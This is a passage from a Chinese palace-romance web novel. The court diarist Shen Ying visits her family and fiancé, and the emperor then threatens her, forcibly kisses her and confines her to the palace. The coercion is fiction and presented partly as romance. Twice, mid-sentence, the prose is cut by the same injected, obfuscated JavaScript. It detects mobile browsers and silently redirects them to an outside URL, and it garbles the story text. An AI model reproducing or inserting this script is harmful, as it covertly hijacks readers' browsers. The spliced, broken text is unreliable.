我笑道:“你是新来的吗?给我开个门儿,我就是进宫当起居郎的那个小娘子,今儿回来探亲的。” 门子摇摇头:“小娘子约是来错了,我们主家姓吴,没有在宫里当差的女儿。” 我一阵茫然,抬眼一瞧匾额,确实写着个吴字,突然想起了之前婶子说过她要卖房子的事儿,连忙问道:“你晓得这里原来住着的沈家搬去哪里了吗?” 门子老实道:“我前月刚被买入了吴家,不知道原来这宅子里住着什么人。” 说罢,他客气地请我离开,我茫茫然走到巷子口,四下环顾了一圈儿,不知往何处而去。 这时,巷头孟家的角门忽地打开了,走出了一个买菜的婆子,给她开门的门子无意间瞧见了我,惊讶道:“沈小娘子?” 我赶紧揪住他问道:“你家大少爷在家吗?” 门子眨眨眼,目光落在我身后四个人高马大的侍卫身上,畏缩问道:“娘子寻我家大少爷何事?” 我心想老娘找自己未婚夫这不是很正常,但一想到后面还跟着四个狗皇帝的眼线,只得对他道:“我找孟大少爷……嗯……是想问问我家搬去了哪里。” 门子哦了一声,去了良久,随后,孟府里传来一阵争执之声,又过了一会儿,孟叙从大门处出来,一见我便温温和和地笑开了,欣喜道:“缨……沈娘子今日休沐吗?” 看到他的一瞬间,我的泪意一阵一阵地上涌,小声道:“陛下准许我出宫一日。” “嗯,”孟叙点点头:“我听门子说了缘由,你还不知道吧,沈家婶子从安邑坊搬去了胜业坊,想来你不知具体方位,不如让我带你去。” 我心头狂跳,点头道:“劳烦孟大少爷。” 他对我眨眨眼:“无事。” 孟叙随我一起上了马车,我坐在里头,他坐在车夫身边,四个侍卫跟在车后,我托着腮看着他清隽的背影,怎么看也觉得不够。 怎么也想不到,昨日刚刚见了孟叙,今日竟又幸运地见到了他,一定是父亲在天之灵收到了我寄的纸钱,终于舍得给他倒霉的女儿一点好运了。 我不由得傻笑起来,宫外真好啊,这样生机勃勃,自由自在。 * 一刻钟后,我站在婶子买的新宅子前,嘴巴张成了一个愚蠢的圆球型。 门匾上的沈字熠熠生辉,闪耀着浓浓的暴发户气质,宅子显然是刚刚修过,上下都簇新,比起我们家原本在安邑坊的那座小破宅子不知强了多少倍。 孟叙赞道:“这座宅子十分难得了,地方好,样式好,婶子当真是极有眼光。” 我干巴巴对婶子道:“婶子,你不是说要换个小点的宅子吗?是我对小的理解有什么问题吗。” 婶子感慨道:“哎哟,今时不同往日,你的俸禄,你爹你二叔你哥三份抚恤,卖房子的钱另加我的嫁妆,你能想象是多大一笔款子吗?我生怕有人盯上这笔钱财,所以全换成了地契,单这处宅子算什么,还有长安西郊数十亩一等良田,和东市三座好地段的铺子呢。” 她得意地对我炫耀:“先前那冯郎官非说我们家品级不够,他不卖,我立时就将缨缨你的任令摔在他面前,问他御前的起居郎够不够格?他一看那任令就蔫了,二话不说,就把宅子卖给了我。” 我的嘴张得更大了,起居郎还有这个用处? 见我没出息的震惊样,婶子接着感慨道:“想不到吧,咱家从前有人的时候是一群穷鬼,倒了大霉后,反而发了家,这世事无常,当真是说不准。” 我道:“人没了,有钱有什么用。” 婶子倒是乐观:“总比没人又没钱好些,圣上准许把他们以四品命官之仪下葬,也算是没有白白牺牲,这种事儿多了去了,想开些,逝者已矣,我们活着的人要好好过日子才行。” 她又打量了下孟叙,露出了十分满意的笑容:“孟世侄一路辛苦,许久未见了,也进来喝口茶吧。” 孟叙大方应下:“在中书省当差时,总想念婶子这儿的好茶饼,如今沾了缨缨的光,便厚颜讨婶子的茶喝了。” 婶子叫小厮把门关好,李斯焱的侍卫统统被关在了门外,我和孟叙终于不用再装作不熟了。 我一手拉着孟叙,一手抱住婶子,在亲人围绕之下,眼圈一下子红了,哽咽道:“婶子,我不想在宫里了,李斯焱这个狗贼,他老是搓磨我,之前让我去掖庭倒夜香也就罢了,昨日中元,他还非让我给他死去的亲娘磕头,这都什么事啊!” 婶子懵了:“为什么让你给……给太后磕头?” 我萎靡道:“我溜出去给阿爹烧纸钱,被他抓住了,他正好也在祭他娘,然后就迫使我在他娘灵前磕一个头,我不乐意,和他打了一架,但他阴损险恶,不讲武德,趁我不备,摁着我的脑袋给他娘跪下,还逼我给他娘写了一篇余太后传,才准了我一天假。” 说了那么多,我怀疑婶子只听进去了一句:我和狗皇帝打了一架。 她的表情非常精彩,手几度抬起又放下,如果没有孟叙在场,这女人一定会当场揍到我屁股开花。 孟叙的眉毛也皱了起来,捏我的手微微用力。 他一向是个内敛的人,这样用力,已是十分生气了。 我悲从心起,埋到他肩膀上,嘤嘤哭了起来。 任狗皇帝怎么折辱,我在宫里一滴泪都没有掉过,但出了宫后,万般委屈涌上心头,这些时日积的眼泪统统留给了孟叙的肩膀,我不停地哭,让他的衣裳濡湿了一大片。 后者轻轻拍着我的后背,心疼道:“缨缨辛苦,好好哭一场吧。” 我的好婶子向来是个非常会看气氛的女人,打从我挨到孟叙肩膀的那一刻,她就放弃了揍我,识趣地走了,还贴心地给我们俩关上了门。 我向孟叙细数李斯焱的罪状,一桩接着一桩,像小时候一样,我叽叽喳喳地讲,他安安静静地听,一种安宁感笼罩了我,我说着说着,困意慢慢袭来,枕在他的肩膀上睡着了。 * 再醒时已经是日上三竿。 我醒来之后捶胸顿足后悔不已,珍贵的一日假期,一下就被睡掉了半数,心疼得我欲哭无泪。 孟叙笑了:“见你性子如旧,我不知有多开心。” 为了迎接我的假期,婶子特地把去同窗家玩耍的小川喊了回来。 几月过去,小川又长高了些,见了我,小炮弹一样从门前冲了过来,高声叫道:“阿姐!!” 我也向他跑过去,大喊道:“沈小川,你在国子监里和同窗打架了是不是!” 小川讪讪道:“你怎么知道的?” “祭酒来面圣的时候,他带的小子同我说的,说吧,为什么要和同学打架。” 小川愤恨道:“我只后悔当初下手太轻!他们看不起我也就罢了,还作践你,阿姐你不知道,史家那个三小子有多欠揍,阴阳怪气地说是我靠着姐姐给皇帝卖命才进了太学,还说你一个女孩子,任了天子近臣起居郎,说不定……说不定……” 他声音渐低,小心地瞧瞧我的脸色,不敢说下去了。 我握了下拳头,指节嘎嘣作响,不咸不淡道:“哪个史家?那个一家门都当谏官的史家?” 小川小心翼翼地点了下头。 小儿之语,多半是从大人处学来,看来那史谏官没少在背后嚼我的舌根。 我笑了:“我晓得了,没事小川,这种贱人由我来收拾,让他知道什么才叫天子近臣,仗势欺人。” 婶子劝我:“你在宫里头也不容易,别为了这些事而劳神。” 在旁默立许久的孟叙微笑道:“我倒是觉得,缨缨敲打敲打他们也挺好,沈家如今身怀巨额家财,却没有能撑起门楣的男子,如果缨缨能震慑住这起子小人,让他们有了忌惮,婶子也能轻松一些,不必日日提心吊胆。” 我正是这个打算,向孟叙投去赞同的眼神。 这就是青梅竹马的心有灵犀! 婶子听罢,垂头叹了口气,小川嘟囔道:“我已十三了,算得上半个男子。” 孟叙正色道:“你现在只是个小小秀才,想要入朝为官庇佑家人,起码要是个进士。” 小川道:“我明白,自阿爹走后,我在太学日夜苦读,就盼着有一天能把阿姐从宫里接出来,咱们一家人好好地在一起。” 我感动极了:“川,阿姐没白疼你。” 婶子无奈道:“行了,还进士呢,举人都还没个影,不过缨缨,你在宫里还是别太任性了,和皇帝打架这种事都做得出来,你这胆子也太大了点。” 我小声解释:“婶子,这事真怪不得我,我也不是没低眉顺眼过,可狗皇帝他说最厌恶我死气沉沉的样子……他真的有毛病,好好的笑脸不爱瞧,非要我横眉冷对才舒服,我也没法子。” 这个事超出了沈小川同学的理解范围,半大的小子挠了挠头,困惑道:“外面都说圣上仁慈宽厚,对沈家史官犯上一事既往不咎,原来他竟还有这个爱好?” 众人沉默了,没想到当今圣上还有微妙的受虐倾向,看不出来啊…… * 用过了晚膳后,到了宫门即将落锁的时间,我告别了婶子和小川,一个人钻进了马车。 马车四壁空荡,只有两扇伶仃的窗,我从小窗口往外看,看见长安西南面起了温柔的晚霞,万里层云都被染成了橙红色。 然后这面晚霞逐渐暗淡了下去,最后被宫墙拦住。 我放下了车帘,微微闭上眼。 回到了紫宸殿,我躺在我的小床上,一点点数着日子:还有十四年零八个月,我离自由还有那么远的距离。 我随手拿出一本传奇出来看,排遣无聊的夜晚,小金莲和小金柳在我身边安静地做着针线,我断断续续地给她们讲故事。 刚讲到红拂与李靖扮作商贾,沐夜奔出长安时,我的门突然被叩响了。 小金莲放下针线,开门一看,是个小内侍,怯怯地说陛下叫沈起居郎过去。 我皱了眉:“今夜当差的是魏喜子,叫我去做什么。” 小内侍轻声道:“庆福爷爷刚刚面了圣,不久便出来了,爷爷叫我来宣沈起居郎过去。” 我不知狗皇帝叫我做什么,犹豫了一下,顺手把头发扎成一个髻子,披上外衫,跟着他一块去了紫宸殿。 走到一半,听见天上传来一声闷雷响声。 傍晚时橙红的云变作了乌色,沉甸甸压人头顶,大雨将至。 李斯焱的书房里点了灯,他盘膝坐在书案前,魏喜子与庆福两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599797|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随侍在旁。 魏喜子鬼鬼祟祟瞄了我一眼,眼里清清楚楚写着两个字:快逃。 我感觉到事情有点不太对劲了,一股不详的预感在心头升起。 李斯焱放下了书本,抬头看着我。 他分明是坐着,气场却比站着的我还要高一头,一张脸上没有任何表情,狐狸般狭长的眼中隐隐可见狠戾的光。 我最怵狗皇帝流露出这种神色,每次他一这样看着我,一炷香内我必要倒大霉。 他偏过头,收回目光,手里摩挲把玩着一份红色的帖子,漫不经心开口道:“今儿出去玩得可开怀?” 我见他手里的红色帖子有些眼熟,但隔着这么老远,看不太真切,听见他问我话,我谨慎道:“回家自是开心的。” “哦,都见了什么人?”他接着问。 我涩声道:“孟家的大少爷,我婶子,还有我的堂弟。” “哦。”李斯焱平静地应了,久久无言。 魏喜子的头几乎埋在了桌子上,我看出了他有多想火速离开这个是非之地。 书房里摆着冰,凉意一点一点散发出来,但我仍觉得热,额头上慢慢沁出了冷汗,我不知道李斯焱在想些什么,只知道他的雷霆之怒呈山雨欲来之势,正在向我迫近。 人最怕的就是未知的东西,眼下的我正被这份不安感折磨。 他发现了什么?我不由得又去仔细看他手上把玩的那张薄薄的红色纸头。 突然间,我的瞳孔一缩,整个人如坠冰窟,双手微微颤抖起来。 是庚帖,是我的庚帖! 我呆呆地想,它本该在孟叙那里,为何此刻到了狗皇帝手中? 捕捉到我惊恐的目光,李斯焱笑了,笑声像夜枭一样难听刺耳。 他单手拎起那份庚帖,像是拎起了什么脏东西一样,对我笑嘻嘻道:“沈缨,出宫会情郎开心吗?” 我张了张嘴,下意识想辩解一番,可一看到庆福那张漠然的老脸,我顿时就明白了。 是他告诉李斯焱的,一定是他。 这个老阉狗! “朕是没想到,朕的沈起居郎还有个深情无二的未婚夫婿,藏得可真好,从未听你提起过。”李斯焱微微眯起眼:“孟叙,孟家新上任的中书主书,去年的新进士,还是由朕亲自选入的中书省。” 我打断他道:“我答应了给陛下当十五年起居郎,就一定不会中途嫁人,陛下大可放心,即使以后要嫁给他,也是十五年后的事,陛下……” 我怕极了他会迁怒孟叙,急不可耐地胡乱承诺,只求他能放过此事。 李斯焱的笑容一寸一寸地僵在了脸上。 故作镇定的伪装慢慢龟裂剥落,露出狰狞可怖的底色来。 庆福抹了一把脸,抓住鹌鹑般一动不敢动的魏喜子,悄声无息退出了书房。 魏喜子头一回见到皇帝发这么大脾气,吓得几乎魂飞魄散,哆嗦道:“庆福爷爷,陛下这是……” 庆福冷冷道:“有些东西是不该打听的,想活命就先闭牢你的嘴。” 他们一走,室内就剩下我们两人。 李斯焱站起来,一步一步迫近我,我骇得手脚一片冰凉,他年轻英俊的面容在我面前逐渐放大,我想跑,双腿却如灌铅一样,动弹不得。 他的手轻轻落在我的脖子上,触感冰凉。 “沈缨你好得很,把朕当猴儿耍,先前孟叙来送文书时就没少眉来眼去吧,当紫宸殿是月老祠吗?”李斯焱轻声道。 “身已在紫宸殿,却还盘算着出宫嫁人之事,真是好一对苦命鸳鸯,双燕双飞绕画梁,原来你自那日起就盼着与情郎双宿双飞了,倒也是,区区两道宫墙哪里拦得住有情人,那句话怎么说来着……山海皆可平?” 他一边说,一遍抚摸着我脖颈上的血管。 动作轻柔至极,无端地令人毛骨悚然。 我都快急哭了,辩驳道:“孟叙他是我青梅竹马的邻家哥哥,我十岁时就与他订婚了,都是早以前的事儿,陛下不喜欢的话,我马上出宫与他家退婚,只求陛下莫要为难他!” 李斯焱的手停住了。 他唇角微动,讥诮道:“哟,这可是你第一次求朕,不求荣华不求富贵,单求我放过你的亲亲好情郎?” “他是我哥哥!”我近乎崩溃道:“让我跪下求陛下都可以,我……我真的不知道陛下不准我有未婚夫,求求陛下放了他,我不想再连累别人了!” 李斯焱摸着我的脖子,梦游般呓语道:“你说你可以跪下来求朕?你不愿跪朕的母亲,反倒为了这个野男人跪在朕面前?” 我明白我又搞砸了一切,黑洞般的戾气开始在他眼中酿成,绝望之下,只能一遍遍摇头:“不是的……不是的……” 他眼里的戾气猛然间爆发,一把把我甩在地上,就像是当初在宣政殿前那样,怒声道:“你敢欺瞒朕,和孟叙合起伙来欺瞒朕,表面装作不识得对方,背地里你侬我侬,真是厉害极了,指望朕轻轻放过你们俩,做梦!朕要杀了他,拿他的尸身扔去乱葬岗喂野狗去,让你亲眼看着情郎曝尸荒野,做个孤魂野鬼!” “不准杀孟哥哥!”我委屈地大声喊道:“我欺瞒什么了!我与他发乎情止乎礼,从未做过逾矩之事,在紫宸殿里假作不识也只是为了避嫌而已,怎么有陛下说的那么不堪?” 在外偷听的庆福听见这句话,长长叹了一声。 沈缨这张要命的破嘴啊,每句话都往陛下的心窝子里扎,烈火泼油似的。 听听,这个蠢货一口一个孟哥哥喊得多亲热,陛下听了不发疯才怪。 果然,李斯焱听不得我维护孟叙,恨得咬紧了后槽牙,像个悲哀的妒夫一样,用一种酸气四溢的语调道:“好一个发乎情止乎礼,朕倒要看看你们的山盟海誓够不够坚固。” 我委顿在地,随手挽的发髻散落了,碎发遮住了眼睛。 我呆呆地注视着他脚边的地面,问道:“你想干什么?你想杀他?” 他蹲下身,拨开我额头上的头发,露出我的眼睛,轻柔道: “杀了他?你反而要记他一辈子,这多没意思。” 不杀孟叙?我竟然如释重负地傻笑了一声。 狗皇帝冷冷瞧着我道:“今后你再也别想出宫了,不,没有朕的允许,连紫宸殿也不准出,就乖乖地被关在这儿里吧,看看十五年后,除了朕之外,哪个人还能记得你。” 10. 第十章-磨人妖精沈缨缨 听见他说仅仅是不让我和孟叙见面,我愣了一下,迫不及待地答应了下来道:“好,我不见他便是,一面也不见,但请陛下不要责罚他。” 不见便不见了,只要孟叙好好儿的就行,起码不要被怒气上头的李斯焱给剁出个残疾来。 我本也不想耽误他的人生,狗皇帝棒打鸳鸯,打便打吧,我自暴自弃地想,孟哥哥心眼实在,能被狗皇帝毒打一顿也好。 “哟,事到临头还护着情郎呢,让朕轻轻放过他?想得真美。”李斯焱气极反笑:“罢官还是打板子,你给他挑一个吧。” 我踉踉跄跄地站直身子,试图跟他讲道理:“我上次回家时就有退亲的打算了,是孟叙他讲情面念旧情才耽搁下来,并非我有意袒护,而是事实就是如此!陛下不喜欢我见他我就不见,何苦连累旁人?” 我小声补充:“再说了,便是御前随侍之人,也没有不准定亲的规矩。” 李斯焱惊讶道:“你又在和朕讲道理?” 我痛苦地闭了闭眼,我怎么忘了,龙袍之下的狗皇帝从来是个不讲道理的土匪。 他的手又回到了我的下巴上,粗重的带着热气的气息吹拂到我的眼旁,他凶恶地盯着我冷笑道:“瞧瞧,不过出去了一日便带回了一身男人味,这幸福舒坦的小模样真是刺眼,朕留你在宫里是为了慢慢地折磨,怎么能让你这般得意呢?” 我听他说得越发不堪,再次强调道:“我和孟哥哥清清白白,天地可鉴!” “你管躺在男人怀里哭叫清清白白?”李斯焱嗤笑道:“平日朕随意碰你一下,你都一副吞了苍蝇的样子,怎地在他那儿就荤素不忌了?” 我险些眼前一黑,我以为关起门来就能挡住侍卫们的监视,没想到他们还是有法子探知我的一举一动,还一五一十地汇报给了皇帝。 我垂下眼不说话了,多说多错,还是要等狗皇帝气消下去,再徐徐图之。 可李斯焱的气没有那么容易消下去,他的手从我的下巴处向上抚摸,揪着我的面皮来回拉扯,手劲儿极大,捏得我右脸一阵生疼。 他皱着眉揉弄着我的脸,神情古怪道:“孟叙不过一介稚弱书生,为了娶你连绝食这种事都做得出,瞧你这颜色也是平平,性子跟茅坑里的石头一样又臭又硬,他究竟是看上你哪一点?” 他似是真心困惑,又似是在奚落耻笑我。 我一动也不敢动,脸疼,鼻子也酸得要命,泪水慢慢往眼里汇集。 我拼命地眨眼,想把眼泪憋回去,但转念一想,狗皇帝既然想瞧我伤心难过的样子,说不定我哭了他的气会消呢? 于是我扁了扁嘴,任由泪水在腮边滚落。 眼泪被李斯焱顺手抹去,他的手指冰凉,像一条毒蛇爬过我的面庞。 “哭什么,你放心,长安城里淑女如云,他很快就会忘了你,到时候,朕准许你去赴他的喜宴。”李斯焱挖苦着我,脸上仍是那古怪的神情。 我隔着朦朦的眼泪去看他的眼睛,只见他的眸色黑如浓墨,眼底带着一丝压抑的疯狂。 “好的,”我哽咽道:“就叫他忘了我。” “哦,不对。”他突然像是想起了什么一样,笑嘻嘻道:“朕怎么忘了呢,孟家的郎君情深意重,倒未必会去另娶旁人,不过啊沈缨,如果他清白干净的缨妹妹坠入了尘泥中,被染污了身子,你说,他还会这样爱护你吗?” 他冰凉的手指下,我浑身剧烈地颤抖起来,嘴唇不受控制地战栗。 我像是没听懂他的话一样,从喉咙深处挤出一句:“你……你什么意思……” 李斯焱没有回答,他微微垂下眼,我惊恐地嗅到了一丝危险的气息,想逃跑却已经来不及。 下一秒,他放在我腮边的手揽住了我的后脑勺。 我眼前一暗,微微张开的嘴唇感受到了一种湿热的暖意,我尝到了素行在耳房里做的薄荷饮的清冽味道——从另一个人的嘴里。 他好像不精于此道,用力托着我的脑袋,生涩而凶狠地啃咬着我的嘴唇,我的大脑一片空白,呆呆地不知发生了什么事,他把我蛮横地往自己的方向一拉,我猝不及防地贴上了他的胸膛,透过轻软的夏衣,听见了一声声剧烈的心跳。 酝酿了一整晚的雷雨终于落下,长安倾盆的雨声中,帝国年轻的皇帝泄愤般地,没有章法地胡乱亲吻着与他有不共戴天之仇的女史官。 后者呆若木鸡,如遭雷击。 我的脑子里有一根弦啪地炸开了,李斯焱在干什么?嗯?他与我的距离只在厘毫之间,他的气息湿热而焦躁,重重地扑在我脸上。 他……好像在亲我。 几乎是电光火石间,我意识到了狗皇帝在对我做什么,浑身气血上涌,用尽全身的力气,发疯般挣扎起来。 我对他又踢又打,发出悲愤的嚎叫声,他不愿放过我,生生受了我无数拳打脚踢,仍死死桎梏着我的脑袋,好像是小孩子抱着最中意的玩具不让大人抢走。 我恶向胆边生,龇了龇牙,狠狠地一口咬在李斯焱嘴角。 他闷哼一声,血腥味在我们唇齿间蔓延,还没等我下第二口,他也用力在我下唇上咬了一记,带着一种恶意的力道,疼得我眼泪都出来了。 这种行为无关情意,只是一种权力的压制,就像高地位的狸奴会强行舔低地位同伴的头顶毛一样,明摆着的侮辱。 我踉踉跄跄退后一步,不可置信地捂着嘴,眼中爆发出刻骨的恨意。 怒火穿心之下,我想都没想,高高扬起手,一个清脆的耳光打在李斯焱那张人模狗样的脸上。 他被我打得偏过头去,小麦色的皮肤上慢慢浮现出一个嫣红的巴掌印。 他抬起右手,轻轻在唇角上一擦,指尖鲜血淋漓。 “牙口不错。” 他抿了下嘴,像是在回味先前的滋味一样,脸上露出了变态的笑容。 回答他的是我的一记生猛的沈氏右勾拳。 我气得没了理智,扑上去与他在地上滚作一团,尖叫着挠他的脸,踹他的□□。 狗皇帝没有怜香惜玉之心,不甘示弱地抓住我的胳膊向后拧,我猛地一抬膝盖把他踹开,端起他书案上的西域贡品玉镇纸,向他脑门砸去。 千钧一发之际,狗皇往旁边一滚,随势起身,用大理寺押犯人的手法,把我双手手腕控制住,高高举过头顶。 我张口要咬,李斯焱道:“好了,你冷静一下。” “李斯焱,你这个狗娘养的王八羔子!”我破口大骂。 李斯焱点点头道:“没错,朕就是狗娘养的王八羔子,你也是个属狗的野娘们,牙齿生得那么尖,当起居郎真是屈才了,去给朕看门多好。” 我气得肺都要炸了,妈的,明明是他先轻薄我,居然还倒打一耙说我牙齿厉害,什么东西! “沈缨,你想弑君吗?”他提示道:“这可是诛九族的大罪哦。” 我每次控制不住情绪的时候,李斯焱都会搬出婶子和小川来吓唬我,我对他怒目而视,手指捏得嘎嘣作响。 经过一番激烈的思想斗争之后,我冷冷道:“你撒开我。” 李斯焱依言松了手。 我重获自由,活动了一下手腕,抬起袖子用力地擦着嘴,擦得那么用力,那诡异的触感还是在唇上挥之不去,淡淡的薄荷的味道。 我恶心得要命,妈的,确实是脏了,我感觉自己像是被流浪狗尿过的拐角,这张嘴都不想要了。 可转念一想,被狗尿了是墙角的错吗?我斩钉截铁告诉自己:不是,是狗的错。 我把脸藏在袖子后面,努力地劝自己,放松,放松,反正沈缨你也不是什么抱着贞节牌坊过活的烈女,但凭这个,还坏不了你的清白。 但我还是好难过。 我理想中的亲吻应该是在秀丽的小庭院里头,我坐在秋千上看书,孟哥哥从后面抱住我,低头轻轻地,蜻蜓点水般啄一啄我的唇角…… ——而不是像这样,在一个暴雨夜的御书房里,被阴狠的狗皇帝粗暴地啃咬。 我跑到案台边,抓起我的水壶,往嘴里灌了一壶凉水漱口。 突然瞧见了自己的庚帖,我一把把它拿过来,粗鲁地塞回了怀里。 狗皇帝懒懒地倚在案边,突然问道:“孟叙这样亲过你吗?” 我擦着红肿破皮的嘴巴,怨毒地瞪了他一眼。 “哦,看来是没有亲过。” 李斯焱的嘴角微微翘起,哪还有半分先前的狠戾,堪称是和颜悦色了。 我一拍桌子,指着他骂道:“你得意个屁!老娘权当被狗咬了一口,呸,拿这种下三路羞辱女人,李斯焱你无耻不无耻,下流不下流!” 他恶劣地笑道:“是,朕无耻下流,不仅如此,朕还有更无耻下流的招式没有使出来,如你所言,朕出身不高,三教九流的下作东西见得多了,还有更刺激的等着你,想试试吗?” “给老子死!”我抓起案上的书册,劈头盖脸就往他头上扔。 李斯焱哈哈大笑着躲避我的攻击,带着脸上显眼的巴掌印,神情愉悦,好像在逗狸奴一样。 我们互相殴打了几个来回,最后因我个头小身子轻,不幸被狗皇帝制服在地,他抓着我的腰肢和扭动的手,挑衅地又在我鼻尖上咬了一口,满意地欣赏我红红的鼻头和震惊的脸,感慨道:“沈缨,你真的是史官吗?武将家的女儿都没有你这么泼,孟叙那小子要是见了你这母夜叉的样子,还不得连夜收拾行李逃婚啊。” 我在气势上绝不吃亏,大骂道:“你是什么货色,老娘就是什么脸色,你个无良无德的玩意也配和孟哥哥比?正经知书达理的长安男儿哪个不比你强上一千一万倍,你连他们的脚后跟都比不上!” 我好像又戳到了狗皇帝的逆鳞,他的脸色一下子又沉了下来,看着我道:“那你且瞧瞧,满长安知书达理的公子哥儿,哪个愿意娶一个和皇帝不清不楚的女人。” “你!” 我猛然记起了白日里小川告诉我,那姓史的谏官曾讽刺小川是攀了我的裙带关系才进了太学,如今想想,若不是狗皇帝有意放纵,这流言怎么可能飞得出紫宸殿呢? 他限制我人身自由不算,还要坏我作为清流史官顶顶重要的名节,这份心思简直狠毒至极。 我恶心得要命,挣扎着起身,冷冷瞪了狗皇帝一眼,一句话都不想再多说了。 他在我身后凉凉道:“沈缨,没有下次了,今后你给朕老老实实待在紫宸殿里,朕玩腻你之前,你一步也别想踏出紫宸门。” 我充耳不闻,大步离去。 * 外头的雨声嘈嘈,殿里鸦雀无声——是庆福的手笔,老家伙见势不对,聪明地遣散了上夜的宫人,自己也溜之大吉。 我不想打伞了,一人冲入了夏日的急雨中,雨打在我的周身上,我觉得冷,但隐隐有种洗刷干净的快乐,古人云,无根之水最洁,诚不我欺,被雨浇透了一遭,我勉强觉得自己又变回了干净的沈缨。 释然过后,又难过地蹲下身,把自己缩成了小小的一团。 我出不了宫,孟叙也再进不来,小小的指望被李斯焱无情地斩断,天地孤独,内苑里又只剩下我一个人。 我在雨里面蹲了许久,一直蹲到双脚发麻,才回到了我那间小小的屋子里。 小金莲和小金柳早已走了,李斯焱知道我淋了雨,命人送了热水给我洗浴,我一言不发地钻进浴桶,又再清洁了自己一遍。 从前我老爱在浴桶里给自己加戏,学着戏本子里的女主角,边假哭边洗边哀嚎我好脏,可能是老天看不过我浮夸的演技,为了报复我,特地给我安排了个恶霸玷污我……我悲从心起,这就叫戏多者必有天收。 泡完澡后已是深夜,我又累又难过,扑倒在床上,只想一眠不醒。 昏昏地睡了一晚,半夜做梦,梦见李斯焱变作一只猛兽,咬死了孟叙后向我扑来,我大叫一声从梦里惊醒,一抹胸口,一手黏腻的冷汗。 我大口大口喘着气,恨不得立刻冲进紫宸殿,提刀砍了李斯焱的狗头。 但冲动毕竟是冲动,婶子和小川还在李斯焱手上,家里男丁俱亡,他们孤儿寡母就指着我庇佑,我不敢乱来。 我无力地躺在了榻上,心生悔意。 ……早知如此,我当初就应该自刎在宣政殿上,如此也不必再受后续的种种侮辱。现在可好,死也死不了,活也活不好,一日日这样煎熬,只怕十五年未到,我就先疯了。 我烦躁地摇摇头,见外面月华正好,披衣出门,先散口气去。 不想一打开房门,便见素行和庆福两人在我门外十几尺距离处窃窃私语。 开门就见了两条晦气的狗奴才,我像是瞧见了什么脏东西一样,啪地把门关上了。 他们能说什么,无外乎是沈起居郎不知好歹,冲撞圣上之类的东西,尤其是庆福这老狗,平时瞧着不声不响,实则一肚子坏水儿,一不小心就要被摆上一道。 过了一会儿,有人叩响了我的门,庆福老态龙钟的声音从门缝里飘进来:“沈起居郎?” 我没有理他,自顾自地接着看书。 庆福道:“别闹性子。” 我隔着门冷冷道:“对不住庆福爷爷,我这屋子没开洞,进不了阉狗。 庆福没有恼,只是感叹:“你看看你这张破嘴,惹出多少事端来,吃了恁多亏还不长记性。” 老东西,关你屁事。 他仍在屋外,隔着房门与我说:“老夫知道你怨什么,不就是怨老夫令那几个侍卫攀上墙头,撞破了你和孟主书的交情吗?不瞒你说,孟主书头一回来紫宸殿面圣时,老夫便看出了你们关系绝不寻常,一股子旁若无人的亲昵劲儿,苍蝇都飞不进去。” 我心里一惊,他怎么看出来的? “所以你才派人跟着我们。”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599798|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气急败坏道:“还告诉了狗皇帝!” 庆福哼道:“小丫头片子不知好歹,连老夫都瞧得出你们关系匪浅,你还想瞒着圣上的眼睛?这事儿由老夫来转述,总比让圣上亲自发现得好,不过你胆子也是肥,在紫宸殿里便敢和男人眉来眼去,啧……” 我义正严辞道:“我和孟哥哥清清白白天地可鉴,退一步讲,便是我们真的有首尾,也不关他李斯焱的事,他凭什么……凭什么……” 我说不下去了,我还没有脸皮说出李斯焱抱着我的脸啃这件事。 庆福默了默,无奈道:“你看不出?” “看出什么?” 究竟看出什么庆福没说,但我能想象出他在门外面悄悄翻白眼的样子。 他悠悠道:“好了,该说了老夫都已说完了,念在你身世可怜,庆福爷爷最后提点你一句,沈起居郎,你既然进了宫当了女官,那就是圣上的人,死生都在这道门里,所以劝你断了嫁人的念头,就算有,也别满世界地嚷嚷,明白了吗?” 我不想搭理他,被狗皇帝威胁也就算了,连他的奴才都想教育我,老娘瞧着那么好欺负吗? 我凉凉道:“说完了吗?我该歇下了。” “睡吧,明早记得当差。” 我蒙上被子,只把他的话当放屁。 * 第二日,魏喜子战战兢兢地打卡上班,连着看了我和李斯焱两张臭脸。 李斯焱的脸黑如锅底,我的脸冷若冰霜,他的脸上挂着我昨晚挠出的爪印和巴掌印,我的嘴由于消肿失败鼓成了两截腊肠。 总之非常惨烈,也非常令人想入非非。 我们两个一起上了朝,在满朝文武诡异的眼神注视下,完成了今日的朝会。 按照长安居民的八卦转播能力,最多一天,我和狗皇帝的不正当关系就将传遍长安城里的每一个角落,三天后没准连街头巷尾的童谣都要有最新版本了: 是她是她就是她,罗刹国的母夜叉,阴风爪,青獠牙,一拳把皇帝打趴下…… 不管是走魔幻路线还是桃色路线,此事都是绝佳的饭后八卦题材。 我没有半分遮掩的意思,毅然决定破罐子破摔,既然狗皇帝不要脸面,那我也不要!我放飞了,我豁出去了,我把我的名声和节操统统贱卖了! ——我要让全长安都知道,沈起居郎不堪骚扰,和皇帝刺刀见红地干架了! * 自从强吻事件后,李斯焱有很长一段时间没来找我茬,当然也没给我什么好脸色,我也一样,但我好像从未给过他好脸色,所以瞧着和从前也没什么分别。 令我略感慰藉的是,李斯焱没有太为难孟叙,据说他只是找了个由头打了孟叙四十鞭子,顺便罚了他几个月的俸禄而已,警告的意味大于实际的惩罚。 